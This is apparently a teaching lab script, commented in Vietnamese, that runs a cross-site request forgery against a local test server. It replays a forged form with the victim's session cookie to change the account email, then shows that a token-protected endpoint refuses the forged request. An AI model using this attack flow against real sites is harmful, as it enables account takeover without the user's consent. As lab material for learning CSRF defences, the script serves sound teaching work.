#!/usr/bin/env python3
"""
Exploit lab 5.3 - CSRF.

Mo phong kich ban that: nan nhan dang dang nhap, roi mo trang attacker.html.
Trinh duyet se TU DONG submit form sang /change-email VA kem cookie phien
cua nan nhan (vi SameSite=None). Ta mo phong hanh vi do bang mot requests
Session mang san cookie cua nan nhan, doc form trong attacker.html va gui di.

Buoc 1: nan nhan dang nhap, xem email hien tai.
Buoc 2: "nan nhan mo trang attacker" -> form tu submit -> email bi doi.
Buoc 3: thu lai tren endpoint co CSRF token -> that bai (403).
"""
import os
import re
import sys
from html.parser import HTMLParser
import requests

BASE = "http://127.0.0.1:8052"
HERE = os.path.dirname(os.path.abspath(__file__))


class FormExtractor(HTMLParser):
    """Boc tach action + cac input hidden tu trang attacker, giong trinh duyet."""
    def __init__(self):
        super().__init__()
        self.action = None
        self.method = "GET"
        self.fields = {}

    def handle_starttag(self, tag, attrs):
        a = dict(attrs)
        if tag == "form":
            self.action = a.get("action")
            self.method = (a.get("method") or "GET").upper()
        elif tag == "input":
            if a.get("name"):
                self.fields[a["name"]] = a.get("value", "")


def load_attacker_form():
    with open(os.path.join(HERE, "attacker.html"), encoding="utf-8") as f:
        html = f.read()
    p = FormExtractor()
    p.feed(html)
    return p.action, p.method, p.fields


def main():
    victim = requests.Session()
    print("[*] Buoc 1: nan nhan dang nhap vao shop.local")
    victim.post("%s/login" % BASE, data={"username": "victim", "password": "pw"})
    r = victim.get("%s/profile" % BASE)
    print("    email hien tai:", r.json().get("email"))
    print("    cookie phien cua nan nhan:", victim.cookies.get("sid")[:12], "...")

    action, method, fields = load_attacker_form()
    print("\n[*] Buoc 2: nan nhan mo trang attacker.html")
    print("    form attacker: %s %s %s" % (method, action, fields))
    print("    -> trinh duyet tu submit, KEM cookie phien cua nan nhan")
    # Mo phong: dung chinh session (cookie) cua nan nhan de gui request
    # cross-site ma trang attacker ep thuc hien.
    r = victim.request(method, action, data=fields)
    print("    phan hoi server:", r.json())

    r = victim.get("%s/profile" % BASE)
    now = r.json().get("email")
    print("    email SAU tan cong:", now)
    hacked = (now == fields.get("email"))
    print("    => CSRF thanh cong!" if hacked else "    => khong doi duoc")

    print("\n[*] Buoc 3: thu CSRF len endpoint co token /change-email-safe")
    # Trang attacker KHONG doc duoc csrf_token (same-origin policy) nen gui bua.
    r = victim.post("%s/change-email-safe" % BASE,
                    data={"email": "attacker@evil.example",
                          "csrf_token": "doan-bua-khong-biet"})
    print("    POST /change-email-safe (token bua) ->", r.status_code, r.json())

    sys.exit(0 if hacked else 1)


if __name__ == "__main__":
    main()
